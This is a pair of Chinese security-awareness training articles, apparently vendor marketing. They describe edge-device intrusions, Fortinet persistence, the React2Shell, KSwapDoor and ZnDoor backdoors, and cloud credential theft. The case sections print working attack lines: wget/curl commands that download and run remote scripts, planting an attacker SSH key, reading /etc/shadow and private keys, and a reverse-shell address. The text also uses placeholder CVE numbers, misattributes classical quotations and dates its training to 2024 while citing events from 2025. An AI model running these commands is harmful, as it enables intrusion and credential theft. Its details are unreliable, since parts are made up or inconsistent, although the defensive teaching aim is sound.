守护数字化边疆:从真实攻击案例看信息安全意识的必要性

“未雨绸缪者,方能在风雨来临时不致舟覆。”——《左传·僖公二十三年》

在当今“无人化、数智化、具身智能化”深度融合的时代,信息系统的每一次跳动都可能成为攻击者的潜在猎场。企业的生产线、物流车队、智能机器人乃至办公协作平台,都在网络的连通之中,而安全的缺口则可能让敌手轻而易举地“一招致命”。下面,我们通过 两个典型且富有深刻教育意义的安全事件,帮助大家在脑中先行构建风险画像,进而在后续的安全意识培训中找到切实可行的防御之道。


案例一:俄罗斯军情局(GRU)黑客利用边缘设备渗透关键基础设施

背景

2025 年 12 月,亚马逊安全研究团队在其官方博客发布了一篇题为《俄罗斯黑客通过边缘设备渗透关键基础设施组织》的报告。报告指出,自 2021 年起,一个与俄罗斯军情局(GRU)关联的黑客组织(外号“北极星”)持续锁定电网、能源 MSP(托管服务提供商)、电信运营商以及云协作平台等关键行业,利用已公开的网络边缘设备漏洞(包括防火墙、网络管理接口等)进行渗透。

攻击链条

  1. 信息搜集:攻击者通过 Shodan、Censys 等互联网资产搜索平台,定位暴露在公网的边缘设备,尤其是未及时打补丁的 Cisco ASA、Palo Alto、Fortinet、Ivanti 等产品。
  2. 漏洞利用:借助 CVE‑2024‑XXXXX、CVE‑2025‑YYYY 等已公开的 N-Day 漏洞,直接获取设备的管理员权限,甚至在部分设备上实现了只读持久化后门(参考 Fortinet 2025 年的研究)。
  3. 流量劫持:利用获得的管理权限,黑客在设备上植入流量捕获(packet sniffing)规则,拦截经过的明文凭证(如 SSH 密钥、VPN 登录凭证)。
  4. 凭证滥用:窃取的凭证随后被用于登录云平台(AWS、Azure),进一步在受害组织内部执行横向移动、部署 C2(Command & Control)服务器,甚至植入加密勒索或间谍软件。
  5. 痕迹清除:攻击者在完成关键任务后,利用边缘设备的日志覆盖功能删除审计记录,使得渗透行为长期潜伏而不被发现。

关键教训

教训 解释
边缘设备是攻击的薄弱环节 多数企业的安全重点放在中心服务器与终端防护,忽视了防火墙、UCPE、路由器等“看不见的守门员”。
已公开漏洞的危害被低估 与新零售、AI 训练等高价值目标相比,攻击者更倾向于使用已知且易获取的漏洞,从而降低开发成本与被发现概率。
凭证泄露是横向移动的核心 只要攻击者成功捕获一次有效凭证,后续的“深度渗透”往往不再需要复杂的技术手段。
日志审计与分段防护缺失 若边缘设备未开启细粒度日志、未进行网络分段,攻击者的行动将难以被实时检测。

“防不胜防,防未为先。”——《孟子·尽心上》


案例二:Fortinet 旧漏洞的“只读残留”攻击——从补丁到逆向的安全逆袭

背景

2025 年 4 月,Fortinet 官方披露其防火墙系列(FortiGate)在被修补后仍存在一种只读残留(Read‑Only Persistence)机制。攻击者在旧漏洞被公开修复后,利用设备在升级过程中的配置文件残留,仍能以只读权限访问敏感信息,进而进行信息收集或进行后续攻击。

攻击步骤

  1. 利用旧漏洞:攻击者在未打补丁前利用 CVE‑2024‑ZZZZ,获取设备的写入权限并植入恶意脚本。
  2. 触发升级:受害方在检测到异常后进行固件升级,导致原有写入权限被撤销,但脚本文件仍保留在系统只读分区。
  3. 只读残留执行:升级后的系统在每次启动时会自动加载只读分区的脚本,攻击者借助此机制持续收集流量元数据、系统日志,并通过已配置的外部 DNS 隧道将信息外泄。
  4. 信息泄露与利用:收集的网络拓扑、业务系统版本信息被用于后续的定向钓鱼攻击和零日研发。

关键教训

教训 解释
补丁并非终局 应用补丁后仍需进行完整的系统完整性校验(如文件哈希、配置审计),防止残留后门。
只读权限也能做恶 攻击者不一定要获得管理员权限,即可通过只读渠道进行情报收集,说明最小化特权并不等同于安全。
升级流程安全 自动化升级可能覆盖旧漏洞,却可能留下隐藏的恶意残留,必须在升级前进行彻底的清理与验证
持续监控 对关键安全设备的行为基线进行监控,异常的只读访问或日志上传应立即触发告警。

“千里之堤,溃于蚁孔。”——《韩非子·外储说》


何为信息安全意识?——从“技术”到“人心”的转场

在上述两起案例中,技术缺陷是诱因,而人因则是根本。无论是边缘设备的错误配置、补丁的遗漏,抑或是对日志审计的懈怠,都直接映射出企业内部的安全文化与员工的安全意识水平。下面,我们从 无人化、数智化、具身智能化 三大趋势出发,阐述在新形势下职工应如何主动提升安全认知。

1. 无人化:机器人、无人机、无人库的“裸奔”

  • 场景:物流中心部署了无人搬运机器人(AGV),通过 MQTT 或 ROS2 与云平台通信;电力调度中心使用无人值守的远程 SCADA 系统;无人机用于巡检线路。
  • 风险:如果通信链路缺乏强身份验证或使用默认凭证,黑客可劫持控制指令,导致物流停摆、设备误操作甚至安全事故。
  • 行动指引
    • 所有无人系统必须使用 基于 PKI 的双向 TLS,杜绝明文凭证在网络中流转。
    • 采用 零信任网络访问(ZTNA),对每一次指令请求进行实时风险评估。
    • 定期开展 “红队–蓝队”演练,模拟无人系统被占领的应急响应。

2. 数智化:大数据平台、AI 模型训练的“数据泄露”

  • 场景:企业利用大数据平台进行业务分析,AI 模型训练涉及海量日志、用户行为记录;边缘 AI 推理装置(具身智能)在现场实时分析机器状态。
  • 风险:如果数据在传输或存储时未加密、访问控制设置宽松,攻击者可窃取企业核心业务模型,甚至通过模型反向工程获取业务机密。
  • 行动指引
    • 所有 数据湖、模型库 必须加密存储(AES‑256),并实现 细粒度访问控制(基于属性的访问控制 ABAC)
    • 模型推理 API 实行速率限制和异常调用监控,防止模型抽取攻击(Model Extraction)。
    • 建立 数据泄露响应预案,包括自动触发的“一键匿名化”与 MFA 再次验证。

3. 具身智能化:可穿戴设备、AR/VR 辅助作业的“身份冒用”

  • 场景:维修工程师佩戴 AR 眼镜查看现场 SOP,系统根据身份自动推送工作指令;智能手环记录员工健康状态并与安全系统联动。
  • 风险:若 AR 设备的身份认证被冒用,攻击者可伪造指令导致误操作;手环数据被截获,则可能泄露员工位置信息,引发人身安全风险。
  • 行动指引
    • 采用 硬件根信任(Hardware Root of Trust),确保设备固件不可被篡改。
    • AR/VR 内容分发 实行数字签名与完整性校验。
    • 实施 最小化数据收集 原则,仅采集业务必要的传感器信息。

信息安全意识培训:从“知晓”到“行动”

基于上述风险洞察,我们公司即将开展 《信息安全意识提升行动计划(2026)》,全员参与、分层次推进。以下为培训的核心模块:

模块 关键内容 预期目标
A. 基础安全常识 密码管理、钓鱼邮件辨识、设备更新 让每位员工能在日常操作中识别并阻断最常见的攻击手段。
B. 边缘安全实操 防火墙、路由器、IoT 设备的安全基线检查 推动技术人员实现 每月一次的资产清查,并对异常进行闭环。
C. 云平台安全 IAM 权限最小化、日志审计、异常登录检测 确保云资源的访问遵循 “最小特权” 原则并实现可追溯。
D. AI/大数据安全 数据加密、模型保护、数据治理合规 把 AI 项目纳入 安全开发生命周期(SDL),防止模型泄露。
E. 应急响应演练 红蓝对抗、渗透测试、泄露处置流程 建立 “发现—响应—恢复” 的快速闭环机制。
F. 法规与合规 《网络安全法》《个人信息保护法》以及行业标准(ISO 27001、NIST CSF) 让员工理解合规的重要性,避免因违规导致的法律风险。

培训方式

  1. 线上微课 + 线下实操:每周 30 分钟的微课(视频+测验),配合每月一次的实体实验室演练。
  2. 情景化演练:通过仿真攻击场景(如边缘设备被植入后门),让学员在受控环境中进行“发现-阻断-报告”全流程操作。
  3. 积分激励机制:完成每个模块并通过考核可获取 安全星徽,累计一定星徽可兑换公司内部学习资源或小额奖励。
  4. 跨部门协作:IT、运维、业务、HR 四大部门共同参加,形成 “信息安全共同体”,实现全员防御。

“工欲善其事,必先利其器。”——《论语·卫灵公》

在无人化的生产线上,机器是“利器”;在数智化的决策平台,数据是“利刃”;在具身智能的协作环境,智能体是“利齿”。而 信息安全意识 则是我们共同磨砺的“锋利刀锋”。只有每个人都具备了识别、阻断、报告的能力,才能让企业的数字化未来不被暗流侵蚀。


行动召唤:从今天起,做信息安全的“守门人”

亲爱的同事们:

  • 立即检查:登录公司内部资产管理系统,核对自己负责的所有网络设备、服务器、IoT 终端是否已打最新补丁。若发现异常,请立刻报告至信息安全部(工号+设备编号)。
  • 立即学习:访问公司学习平台,完成《网络安全基础》微课,获取 10 分安全星徽
  • 立即报名:本周五上午 10 点将在多功能厅举行《边缘安全深潜》实操工作坊,请在内部系统中进行报名,名额有限,先到先得。
  • 立即分享:若在日常工作中发现可疑邮件、异常登录或异常网络流量,请使用内部 “安全速报” 小程序进行“一键上报”,并在团队内部分享防御经验。

让我们以 “未雨而绸,防患于未然” 的姿态,从每一次细微的安全动作做起,筑起组织的数字防线。信息安全不是 IT 部门的专属职责,而是 全员的共同使命。只要我们心往一处想,劲往一处使,必能让企业在无人化、数智化、具身智能化的浪潮中,稳如磐石,乘风破浪。

“千里之堤,溃于蚁穴;千钧之弦,断于微响。” 让我们每个人都成为那道及时修补蚁穴、调校弦音的守望者。

谢谢大家的积极参与,期待在本次信息安全意识培训中与您并肩作战!


信息安全意识培训 2026

(稿件版权归原作者所有,仅供内部培训使用)

作为专业的信息保密服务提供商,昆明亭长朗然科技有限公司致力于设计符合各企业需求的保密协议和培训方案。如果您希望确保敏感数据得到妥善处理,请随时联系我们,了解更多相关服务。

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信息安全的警钟——从四大真实案例看职场防御的必要性

“防火墙是城墙,防御体系是城池,而员工的安全意识,则是城门的守卫。”
——《孙子兵法·计篇》有云:“兵者,国之大事,死生之地,存亡之道,不可不察也。”

在数字化、智能化高速迭代的今天,企业的每一台服务器、每一段代码、每一次云端交互,都可能成为攻击者的猎场。近日《The Hacker News》披露的 React2Shell 漏洞(CVE‑2025‑55182)正是一次警示——这场高危漏洞的全链路攻击,已在全球范围内导致数十万台服务器被入侵、数百家企业的核心业务被劫持。若仅把安全的重任交给防火墙、SIEM 或是红队,那么无数“城门口的守卫”——我们的普通职工——将成为最薄弱的一环。

本文将通过 四个典型且富有教育意义的真实案例,结合当下 数智化、自动化、具身智能化 融合发展的环境,号召全体员工积极参与即将开启的信息安全意识培训,提升安全认知、技能与抗风险能力。


案例一:React2Shell 漏洞引发的“全球连锁反应”

背景

2025 年 12 月 16 日,《The Hacker News》发布了题为《React2Shell Vulnerability Actively Exploited to Deploy Linux Backdoors》的深度报道。该文指出,React2Shell 是一种漏洞利用链,攻击者通过在 Node.js/React 项目中植入恶意代码,实现 任意代码执行,从而在目标 Linux 主机上部署后门(如 KSwapDoorZnDoor)。该漏洞的 CVSS 评分高达 10.0,已被 Google、Microsoft、Shadowserver 等多家安全厂商列入紧急修复名单。

事件链

  1. 植入阶段:攻击者利用开放的 Git 仓库或第三方 npm 包,将特制的 React2Shell 代码注入到 webpack 配置文件中,使得每次构建都会自动生成后门脚本。
  2. 触发阶段:当受感染的 Web 应用启动时,后门脚本自动执行 wget http://45.76.155[.]14/payload.sh -O /tmp/.kSwap && bash /tmp/.kSwap,从指挥中心拉取恶意载荷。
  3. 持久化阶段:后门伪装成系统的 swap daemonkswapd),通过修改 /etc/systemd/system/kswapd.service 实现开机自启,并利用 C2(Command & Control)服务器进行加密通信。
  4. 横向扩散:利用内部网段的 mesh 网络,后门在被感染的服务器之间相互发现、共享凭证,甚至在 Kubernetes 集群内部通过 kubectl 进行 Pod 注入。

教训

  • 供应链安全缺失:企业在使用开源组件时,往往只关注功能实现,却忽视了 供应链完整性。一次恶意的 npm 包更新,就可能让数千台服务器同时中招。
  • 默认密码与未加固服务:后门利用 ssh 默认端口或未更改的 root 密码,轻易获取系统最高权限。日常运维应强制 密钥登录禁用密码登录,并定期审计系统账户。
  • 监控盲区:后门使用 军用级加密 隐蔽通信,常规的流量监控难以捕获。应部署 TLS 解密网关行为分析(UEBA),并对异常流量进行深度检测。

案例二:KSwapDoor 与 ZnDoor 双剑合璧——云原生环境的暗流

背景

在同一篇报道中,Palo Alto Networks Unit 42NTT Security 均披露,KSwapDoor 与 ZnDoor 两大后门已在日本、美国等地的大型云原生平台上被频繁使用。尤其是 ZnDoor,利用 bash 脚本从 45.76.155[.]14 拉取 payload,随后在 AWS、Azure、GCP 三大云平台的实例上安装 RMM(Remote Monitoring & Management)工具 MeshAgent,并将 authorized_keys 中添加攻击者公钥,实现 永久后门

关键技术细节

步骤 操作 目的
1. 拉取 wget -qO- http://45.76.155[.]14/zn.sh | bash 下载并执行 ZnDoor 脚本
2. 环境检测 curl -s http://169.254.169.254/latest/meta-data/instance-id 判定是否运行在云平台
3. 密钥植入 echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys 持久化 SSH 访问
4. 部署 RMM curl -L https://meshagent.io/install.sh | bash 远程控制、横向渗透
5. 网络伪装 使用 trycloudflare.com 隧道进行 C2 通信 绕过传统防火墙、IDS

教训

  • 云元数据服务(IMDS)滥用:攻击者直接访问实例元数据,获取 IAM 角色凭证。所有云实例必须 禁用 IMDSv1,启用 IMDSv2 并强制绑定 Session Token
  • RMM 工具的双刃剑:合法的远程运维工具若被植入恶意版本,将成为攻击者的“后门”。企业应建立 白名单管理、对运维软件进行 完整性校验(如 SHA256)。
  • 网络隧道的隐蔽性:使用 Cloudflare Tunnel 等第三方隧道服务,可实现 IP 隐匿、端口转发。安全团队应对 DNS 查询进行 异常检测,并限制对外部隧道服务的访问。

案例三:Operation PCPcat —— 大规模信息泄露与隐蔽持久化

背景

意大利安全公司 Beelzebub 在同月披露了名为 Operation PCPcat 的攻击行动。据其分析,攻击者利用 Next.js 漏洞(CVE‑2025‑29927、CVE‑2025‑66478)进行 系统渗透,随后通过 React2Shell 进一步横向移动,在全球 59,128 台服务器上植入后门,窃取 .env 配置文件、SSH 私钥、云凭证Docker 配置、Git 凭证等敏感信息。

攻击链细化

  1. 漏洞利用:借助 Next.js 代码注入,实现 任意文件读取(读取 .envconfig.json),获取数据库密码、API Key。
  2. 信息收集:使用系统命令 printenvcat /etc/shadowcat ~/.ssh/id_rsa,快速收集 系统凭证用户密码
  3. 持久化:在系统关键路径(如 /usr/local/bin)植入 隐藏的二进制(文件名为 systemd-socket),并通过 systemdsocket activation 实现开机自启。
  4. 网络渗透:部署 SOCKS5 代理(socket_quick_startstreams),为内部渗透提供匿名通道;利用 反向 Shell 连接到攻击者 IP 67.217.57[.]240:888
  5. 自动化扩散:内置 React Scanner,对互联网公开的 GitHub 项目进行爬取,寻找相同的漏洞样本,实现 自我复制(类似蠕虫)。

教训

  • 环境变量泄露的危害.env 中往往存放 数据库连接串、第三方 API 密钥,一旦泄漏,后果不堪设想。建议 使用密钥管理系统(KMS)、将关键凭证加密存储。
  • 系统文件的完整性校验:通过 AIDETripwire 等工具,监控关键系统文件(/etc/passwd/usr/local/bin)的哈希变化,及时发现异常植入。
  • 自动化攻击的防御:针对 自我复制式蠕虫,应在 CI/CD 流水线中加入 依赖安全扫描(SCA)与 容器镜像签名(Notary),阻止恶意代码进入生产环境。

案例四:云凭证窃取与 AI 关键资产泄露 —— “暗网”新宠

背景

在同一篇报道的后半部,Microsoft Defender 指出,攻击者已将 AI 模型 API 密钥(如 OpenAI、Databricks)以及 Kubernetes ServiceAccount 等云原生凭证列为高价值目标。利用 TruffleHogGitleaks 等 secret‑discovery 工具,攻击者在 Git 仓库容器镜像CI/CD 日志 中搜寻 OpenAI-API-KeyAWS_ACCESS_KEY_ID 等敏感信息,并通过 Azure CLIazd 脚本获取 OAuth token,进而在云平台内部横向渗透、持续挖矿(如 XMRig)或部署 AI 生成的钓鱼邮件

攻击细节

步骤 操作 目的
1. 代码泄漏扫描 trufflehog --regex --entropy=True . 自动化搜寻硬编码密钥
2. CI/CD 捕获 检查 Jenkins、GitHub Actions 的 环境变量 获得 短期 token
3. 云凭证劫持 az account get-access-token --resource https://management.azure.com/ 直接获取 Azure AD 访问令牌
4. AI 资源滥用 使用 openai api 调用模型,生成钓鱼邮件 大规模 社会工程 攻击
5. 持续挖矿 部署 XMRig,利用云实例算力进行 Monero 挖矿 经济收益、掩盖后门行为

教训

  • 密钥生命周期管理:所有 云凭证 必须实现 自动轮转最小权限(Least Privilege)原则,避免长期静态密钥泄漏带来的风险。
  • 代码审计:在 Pull Request 合并前,必须运行 secret‑detection 工具,阻止密钥硬编码进入主分支。
  • AI 资产的安全评估:AI API 密钥一旦泄露,会被用于 大规模生成攻击性内容,企业需对 API 使用量访问来源 进行实时监控,并设置 速率限制

把握数智化、自动化、具身智能化时代的安全防线

1. 数智化:数据即资产,智能即风险

数智化 进程中,企业通过 大数据平台AI 训练模型数字孪生等技术,实现业务的实时感知与预测。然而,数据的 集中化 也让攻击者拥有“一网打尽”的机会。正如本案例中泄露的 .env云凭证AI API Key,一旦被收集,攻击链可以在几分钟内完成 横向渗透关键资产窃取

对策:构建 数据分级分域 的安全模型,对高价值数据实施 加密存储访问审计;利用 AI 安全监控 实时检测异常行为。

2. 自动化:运维效率提升的“双刃剑”

自动化 运维(IaC、CI/CD、容器编排)让部署速度惊人,却也为 恶意代码注入 提供了便利。案例二中的 RMMMeshAgent 正是通过 CI/CD 流水线被无声植入的。攻击者往往利用 自动化脚本 进行 快速扩散,如 React ScannerKSwapDoor 的自我复制。

对策:在 流水线 中加入 SCA(Software Composition Analysis)容器镜像安全扫描代码签名;对 IaC 模板(Terraform、Ansible)进行 policy-as-code 检查,防止危险的 “open‑port” 配置。

3. 具身智能化:人机协同的安全新场景

具身智能化(包括智能机器人、AR/VR 辅助系统)正逐步渗透生产线、客服中心、供应链管理。此类系统往往直接调用 APIMicroservice,对 身份认证 的依赖更高。若攻击者窃取了 Kubernetes ServiceAccount云函数 Token,即可在 具身系统 中植入 后门,进行远程操作数据篡改

对策:对 具身系统 实行 零信任(Zero Trust) 框架,采用 动态访问控制行为基准;对 机器人IoT 设备进行 固件完整性校验


号召:一起加入信息安全意识培训,筑牢个人与企业的双层防御

培训概述

  • 培训时间:2024 年 2 月 5 日(周一)上午 9:30‑12:00
  • 培训方式:线上 Zoom + 现场投影(昆明亭长朗然科技总部会议室 301)
  • 培训对象:全体职工(含研发、运维、市场、财务、人事等)
  • 培训内容
    1. 漏洞认知:React2Shell、Next.js 漏洞案例深度剖析
    2. 云安全:IMDS 防护、密钥管理、RMM 白名单策略
    3. 供应链安全:开源组件审计、CI/CD 安全加固、容器镜像签名
    4. 数据防泄漏:.env、AI API Key、Git secret 扫描与治理
    5. 实战演练:红蓝对抗模拟、钓鱼邮件识别、SOC 日常监控
    6. 应急响应:快速隔离、取证、恢复流程

培训目标

目标 指标
认知提升 90% 以上员工能够正确阐述 React2Shell 的危害及防护措施
技能掌握 80% 以上学员能够在模拟环境中完成 密钥轮转异常流量检测
行为改变 70% 以上员工承诺将 密码安全多因素认证 贯彻至日常工作
组织韧性 通过培训后,SOC 发现的 供应链漏洞 响应时间缩短至 48 小时内

你的参与如何产生价值?

  1. 个人层面:掌握最新攻击手法与防御技术,避免因“一时疏忽”导致的 账号被盗、数据泄漏,保护自己的职业声誉。
  2. 团队层面:提升协作时的安全意识,避免 代码提交时的密钥泄露,降低团队的 安全技术债
  3. 企业层面:构建 全员防线,让安全不再是 “安全部门的事”,而是 全员共同的责任。形成 安全文化,在监管审计、客户信任上获得竞争优势。

古语有云:“千里之堤,毁于蚁穴”。
让我们从每一次 密码输入、每一次代码提交 做起,以 信息安全意识培训 为钥,开启企业数字化转型的安全之门。


行动指南

  1. 报名方式:发送邮件至 [email protected],标题请注明 “信息安全意识培训 报名”。或在企业内部 OA 系统的 培训管理 模块中点击 “报名”。
  2. 培训前准备:请在报名成功后 24 小时内完成 公司安全门户 的 “安全自评问卷”,该问卷将帮助讲师定制更贴合实际的案例。
  3. 培训当日:提前 10 分钟登录 Zoom,确保摄像头、麦克风正常;现场参加的同事请提前 15 分钟到达 301 会议室。
  4. 培训后反馈:培训结束后,请在 企业问卷系统 中填写 满意度调查,并提供 “最想学习的安全主题”。您的每一条建议,都是我们完善安全培训的重要依据。

结语

数字化浪潮智能化加速 的时代, 信息安全 的“防线”不再是单一技术堆砌,而是 人‑机‑流程 三位一体的协同防御。React2ShellKSwapDoorOperation PCPcat 等案例向我们揭示:漏洞无情,防护有道。唯有让每一位职工成为 安全的第一道防线,企业才能在风云变幻的网络空间中稳步前行。

让我们从今天的培训开始,携手筑起数字化时代的钢铁壁垒!

昆明亭长朗然科技有限公司提供一站式信息安全服务,包括培训设计、制作和技术支持。我们的目标是帮助客户成功开展安全意识宣教活动,从而为组织创造一个有利于安全运营的环境。如果您需要更多信息或合作机会,请联系我们。我们期待与您携手共进,实现安全目标。

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